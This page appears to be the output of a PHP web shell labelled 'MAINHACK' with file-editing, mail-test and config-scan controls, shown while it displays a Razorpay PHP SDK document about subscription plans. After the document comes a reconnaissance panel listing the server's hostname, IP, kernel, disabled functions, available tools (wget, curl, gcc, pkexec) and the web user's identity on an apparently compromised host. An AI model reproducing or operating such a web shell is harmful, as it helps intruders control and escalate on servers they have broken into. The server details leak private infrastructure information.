[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: plan.md
## Plans ### Create plan ```php $api->plan->create(array('period' => 'weekly', 'interval' => 1, 'item' => array('name' => 'Test Weekly 1 plan', 'description' => 'Description for the weekly 1 plan', 'amount' => 600, 'currency' => 'INR'),'notes'=> array('key1'=> 'value3','key2'=> 'value2'))); ``` **Parameters:** | Name | Type | Description | |-----------------|---------|------------------------------------------------------------------------------| | period* | string | Used together with `interval` to define how often the customer should be charged.Possible values:<br>1.`daily` <br>2.`weekly`<br>3.`monthly` <br>4.`yearly` | | interval* | string | Used together with `period` to define how often the customer should be charged | | items* | array | Details of the plan. For more details please refer [here](https://razorpay.com/docs/api/subscriptions/#create-a-plan) | | notes | array | Notes you can enter for the contact for future reference. | **Response:** ```json { "id":"plan_00000000000001", "entity":"plan", "interval":1, "period":"weekly", "item":{ "id":"item_00000000000001", "active":true, "name":"Test plan - Weekly", "description":"Description for the test plan - Weekly", "amount":69900, "unit_amount":69900, "currency":"INR", "type":"plan", "unit":null, "tax_inclusive":false, "hsn_code":null, "sac_code":null, "tax_rate":null, "tax_id":null, "tax_group_id":null, "created_at":1580219935, "updated_at":1580219935 }, "notes":{ "notes_key_1":"Tea, Earl Grey, Hot", "notes_key_2":"Tea, Earl Grey… decaf." }, "created_at":1580219935 } ``` ------------------------------------------------------------------------------------------------------- ### Fetch all plans ```php $api->plan->all($options); ``` **Parameters:** | Name | Type | Description | |-------|-----------|--------------------------------------------------| | from | timestamp | timestamp after which the payments were created | | to | timestamp | timestamp before which the payments were created | | count | integer | number of payments to fetch (default: 10) | | skip | integer | number of payments to be skipped (default: 0) | **Response:** ```json { "entity": "collection", "count": 1, "items": [ { "id": "plan_00000000000001", "entity": "plan", "interval": 1, "period": "weekly", "item": { "id": "item_00000000000001", "active": true, "name": "Test plan - Weekly", "description": "Description for the test plan - Weekly", "amount": 69900, "unit_amount": 69900, "currency": "INR", "type": "plan", "unit": null, "tax_inclusive": false, "hsn_code": null, "sac_code": null, "tax_rate": null, "tax_id": null, "tax_group_id": null, "created_at": 1580220492, "updated_at": 1580220492 }, "notes": { "notes_key_1": "Tea, Earl Grey, Hot", "notes_key_2": "Tea, Earl Grey… decaf." }, "created_at": 1580220492 } ] } ``` ------------------------------------------------------------------------------------------------------- ### Fetch particular plan ```php $api->plan->fetch($planId); ``` **Parameters:** | Name | Type | Description | |-------|-----------|--------------------------------------------------| | planId* | string | The id of the plan to be fetched | **Response:** ```json { "id":"plan_00000000000001", "entity":"plan", "interval":1, "period":"weekly", "item":{ "id":"item_00000000000001", "active":true, "name":"Test plan - Weekly", "description":"Description for the test plan - Weekly", "amount":69900, "unit_amount":69900, "currency":"INR", "type":"plan", "unit":null, "tax_inclusive":false, "hsn_code":null, "sac_code":null, "tax_rate":null, "tax_id":null, "tax_group_id":null, "created_at":1580220492, "updated_at":1580220492 }, "notes":{ "notes_key_1":"Tea, Earl Grey, Hot", "notes_key_2":"Tea, Earl Grey… decaf." }, "created_at":1580220492 } ``` ------------------------------------------------------------------------------------------------------- **PN: * indicates mandatory fields** <br> <br> **For reference click [here](https://razorpay.com/docs/api/subscriptions/#plans)**
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002